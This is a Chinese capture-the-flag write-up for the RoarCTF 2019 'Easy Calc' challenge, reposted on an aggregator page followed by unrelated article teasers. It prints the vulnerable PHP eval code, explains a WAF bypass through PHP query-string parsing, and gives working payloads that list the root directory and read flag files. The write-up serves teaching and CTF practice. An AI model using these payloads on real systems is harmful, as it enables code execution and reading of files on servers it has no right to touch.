[RoarCTF 2019]Easy Calc - RCE(函数输出)+参数waf绕过(PHP字符串解析特性)

news2024/11/15 17:49:43

[RoarCTF 2019]Easy Calc

  • 1 解题流程
  • 2 思考总结

1

1 解题流程

  1. 打开页面让我们输入,输了没反应(执行报错),F12发现js有代码
    $('#calc').submit(function(){
    	$.ajax({
    		url:"calc.php?num="+encodeURIComponent($("#content").val()),
    		type:'GET',
    		success:function(data){
    			$("#result").html(`<div class="alert alert-success">
    		<strong>答案:</strong>${data}
    		</div>`);
    		},
    		error:function(){
    			alert("这啥?算不来!");
    		}
    	})
    	return false;
    })
    
    通过代码发现提交的页面是calc.php,我们在页面打开calc.php,得到代码
    <?php
    	if(!isset($_GET['num'])){
    	    show_source(__FILE__);
    	}else{
    	        $str = $_GET['num'];
    	        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
    	        foreach ($blacklist as $blackitem) {
    	                if (preg_match('/' . $blackitem . '/m', $str)) {
    	                        die("what are you want to do?");
    	                }
    	        }
    	        eval('echo '.$str.';');
    	}
    ?> 
    
    1、参数是num,黑名单过滤空格、‘`’、中括号、缩进符等
    2、?num=a 报错(被waf了,说明字母会被拦截)
      这里就涉及到一个知识点了:PHP的字符串解析特性
      例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
      例如:/?%20news[id%00=42会转换为Array([news_id] => 42)。
      PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
        1.删除空白符
        2.将某些字符转换为下划线(包括空格)
      问:WAF不让num参数传入字母,但是我们又需要传入字母来构成我们的命令,这种情况下该怎么进行绕过呢?
      答:我们参数前加一个空格,在PHP特性下会删除空格,但是WAF会因为这个空格导致检测不到参数,最终导致WAF被绕过。
  2. 我们要输出,可以用echo、print、var_dump、print_r四个函数
    注意,前两者只能输出简单数据类型,如果是数组之类的只能用后两个,个人觉得print_r输出很清楚
    我们要扫目录,可以用scandir
    我们要字符转换,可以用chr(ascii)、ord(string)、base_convert(number,frombase,tobase);
     /calc.php?%20num=print_r(scandir(chr(47)))/calc.php?%20num=var_dump(scandir(chr(47)))
    如果scandir这个词也被过滤的话,还可以使用base_convert()来拼接。如? num=print_r(base_convert(61693386291,10,36)(chr(47)))
    得到Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => flag [9] => home [10] => lib [11] => lib64 [12] => media [13] => mnt [14] => opt [15] => proc [16] => root [17] => run [18] => sbin [19] => srv [20] => start.sh [21] => sys [22] => tmp [23] => usr [24] => var ) 1
    我们要读文件,可以用readfile、file_get_content
    /calc.php? num=readfile(chr(47).f1agg)
    /calc.php? num=file_get_contents(chr(47).f1agg)
    /calc.php? num=base_convert(2146934604002,10,36)(chr(47).f1agg)

2 思考总结

这道题目,又有新的知识点
1、PHP的字符串解析特性的知识还是很重要的
2、eval内函数使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1079162.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

198、RabbitMQ 的核心概念 及 工作机制概述; Exchange 类型 及 该类型对应的路由规则

JMS 也是一种消息机制 AMQP ( Advanced Message Queuing Protocol ) 高级消息队列协议 ★ RabbitMQ的核心概念 Connection&#xff1a; 代表客户端&#xff08;包括消息生产者和消费者&#xff09;与RabbitMQ之间的连接。 Channel&#xff1a; 连接内部的Channel。 Exch…

【单片机】19-TFT彩屏

一、背景知识--显示器 1.什么是TFT &#xff08;1&#xff09;LCD显示器的构成&#xff1a;液晶面板驱动器【电压驱动】控制器【逻辑控制】 &#xff08;2&#xff09;液晶面板大致分为&#xff1a;TN&#xff0c;TFT&#xff0c;IPS等 &#xff08;3&#xff09;驱动器是跟随…

使用 Apache Kafka 进行发布-订阅通信中的微服务

发布-订阅消息系统在任何企业架构中都发挥着重要作用&#xff0c;因为它可以实现可靠的集成&#xff0c;而无需紧密耦合应用程序。在解耦的系统之间共享数据的能力并不是一个容易解决的问题。 考虑一家拥有多个使用不同语言和平台独立构建的应用程序的企业。它需要响应地共享数…

springboot医院HIS信息管理系统源码:技术架构:Angular+Nginx+Java+Spring,SpringBoot

医院信息管理系统HIS包括门&#xff08;急&#xff09;诊管理、住院管理、药库&#xff08;房&#xff09;管理、门诊电子处方、住院医嘱管理、电子病历、护理文书、病案管理等多个管理模块&#xff0c;涵盖了医疗信息管理的各个业务环节。在全院联网的基础上&#xff0c;把医院…

Photoshop与Web技术完美融合,Web版Photoshop已正式登场

通过WebAssembly Emscripten、Web Components Lit、Service Workers Workbox以及对新的Web API的支持&#xff0c;Chrome和Adobe之间的合作使得将Photoshop桌面应用程序引入Web成为了一项重大的里程碑。现在&#xff0c;您可以在浏览器上使用高度复杂和图形密集的软件&#…

mac M2芯片在使用Android studio 编译问题bad cpu type in executable android

由于mac的intel芯片的一些指令集没有同步在M1 M2芯片上所以需要做兼容 打开控制台&#xff08;通过访达 - 应用程序 - 实用工具 - 终端 &#xff09; 输入 softwareupdate --install-rosetta 之后在输入 A 就可以了。 原产考地址&#xff1a;硬核&#xff01;在 M1 芯…

HSRP热备份路由器协议的解析和配置

HSRP的解析 个人简介 HSRP hot standby router protocol 热备份路由协议&#xff08;思科私有协议&#xff09; HSRP v1 version 1 HSRP v2 version 2 虚拟一个HSRP虚拟IP地址 192.168.1.1 开启HSRP的抢占功能 通过其他参数 人为调整谁是主 谁是从 &#xff01; 查…

蓝桥杯每日一题20233.10.10

题目描述 回文日期 - 蓝桥云课 (lanqiao.cn) 题目分析 对于此题&#xff0c;我们最先想到的是暴力解法&#xff0c;将每一种情况经行循环查找&#xff0c;在查找的过程中记录下答案&#xff0c;回文日期就是字符串判断回文&#xff0c;ABABBABA型回文日期可以将回文经行特判…

【数字人】3、LIA | 使用隐式空间来实现视频驱动单张图数字人生成(ICLR 2022)

文章目录 一、背景二、方法2.1 latent motion representation2.2 latent code driven image animation2.3 学习方式2.4 推理 三、效果3.1 数据集3.2 训练细节3.3 评估3.4 定性效果3.5 定量效果3.6 消融实验3.7 失败示例 论文&#xff1a;Latent Image Animator: Learning to An…

C语言使用ip代码示例

以下是一个使用C语言编写的简单爬虫IP代码示例&#xff1a; c #include <stdio.h> #include <stdlib.h> #include <curl/curl.h> size_t write_callback_func(void *ptr, size_t size, size_t nmemb, void *stream) { size_t written fwrite(ptr, size…

掌握Python输入输出:从键盘到文件的全面指南

更多资料获取 &#x1f4da; 个人网站&#xff1a;涛哥聊Python Python作为一门强大的编程语言&#xff0c;提供了丰富而灵活的输入输出&#xff08;I/O&#xff09;功能&#xff0c;使得与用户交互和数据处理变得轻而易举。 标准输入与标准输出 Python的输入输出从最基础的…

主从Reactor高并发服务器

文章目录 Reactor模型的典型分类单Reactor单线程单Reactor多线程多Reactor多线程本项目中实现的主从Reactor One Thread One Loop各模型的优点与缺点 项目分解Reactor服务器模块BufferSocketChannelEpollerTimerWheelEventLoopAnyConnectionAcceptorLoopThreadLoopThreadPoolTc…

如何进行前端单元测试?

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

Servlet的部署与安全

1 Servlet 部署 Servlet规范关于各个东西该放在哪里有许多严格的规则。 1.1 WAR war文件代表Web归档(Web Archive)&#xff0c;war实际就是一个JAR&#xff0c;只不过扩展名是.war而不是.jar。 其采用了一种可移植的压缩形式&#xff0c;把整个Web应用结构&#xff08;去掉…

知识图谱系列4:neo4j学习

这是一篇还不错的教程&#xff0c;我将会针对其中的Cypher语法在这篇帖子内提出问题&#xff0c;以便学习与复习。 MATCH是什么操作&#xff1f; 小括号()代表什么&#xff1f;&#xff08;n&#xff09;代表什么&#xff1f; MATCH (n) DETACH DELETE n是什么含义&#xff1…

紫光同创FPGA实现UDP协议栈精简版,基于YT8511和RTL8211,提供2套PDS工程源码和技术支持

目录 1、前言免责声明 2、我这里已有的以太网方案3、设计思路框架RGMII转GMII动态ARPUDP协议回环FIFOIP地址、端口号修改 4、PDS工程1&#xff1a;YT8511版本5、PDS工程2&#xff1a;RTL8211版本6、上板调试验证并演示准备工作动态ARP测试UDP通信测试 7、福利&#xff1a;工程代…

铁道交通运输运营3D模拟仿真实操提供一个沉浸、高效且环保的情境

VR模拟果蔬运输应急处理场景在农产品物流行业中具有重要的意义。这种模拟技术为农产品运输提供了全新的、更高效和更安全的方式来模拟真实世界的应急情况&#xff0c;帮助操作人员、研究者和管理者更好地理解和应对可能的运输风险措施。 VR模拟果蔬运输应急处理场景可以模拟出各…

如何在 Spring Boot 中实现容错机制

在 Spring Boot 中实现容错机制 容错机制是构建健壮和可靠的应用程序的重要组成部分。它可以帮助应用程序在面对异常或故障时保持稳定运行。Spring Boot提供了多种机制来实现容错&#xff0c;包括异常处理、断路器、重试和降级等。本文将介绍如何在Spring Boot中实现这些容错机…

Ubuntu输入正确密码重新跳到登录界面

Ubuntu输入正确密码重新跳到登录界面 问题描述 输入正确的密码登录后闪一下又回到锁屏界面 输入正确的密码后还是回到这个界面 产生的原因 /etc/profile或者/etc/enviroment出现了问题,导致无法正常登录 该错误产生的原因不止一个 这里是因为/etc/profile或者/etc/enviromen出…

mac使⽤nginx

⽅法1&#xff1a;homebrew 默认本地已经安装homebrew&#xff1b; 安装与启动 brew install nginx 安装nginx&#xff1b; brew services start nginx 启动nginx nginx⽂件⽬录 1. nginx安装⽂件⽬录/usr/local/Cellar/nginx 2. nginx配置⽂件⽬录/usr/local/etc/nginx 3. con…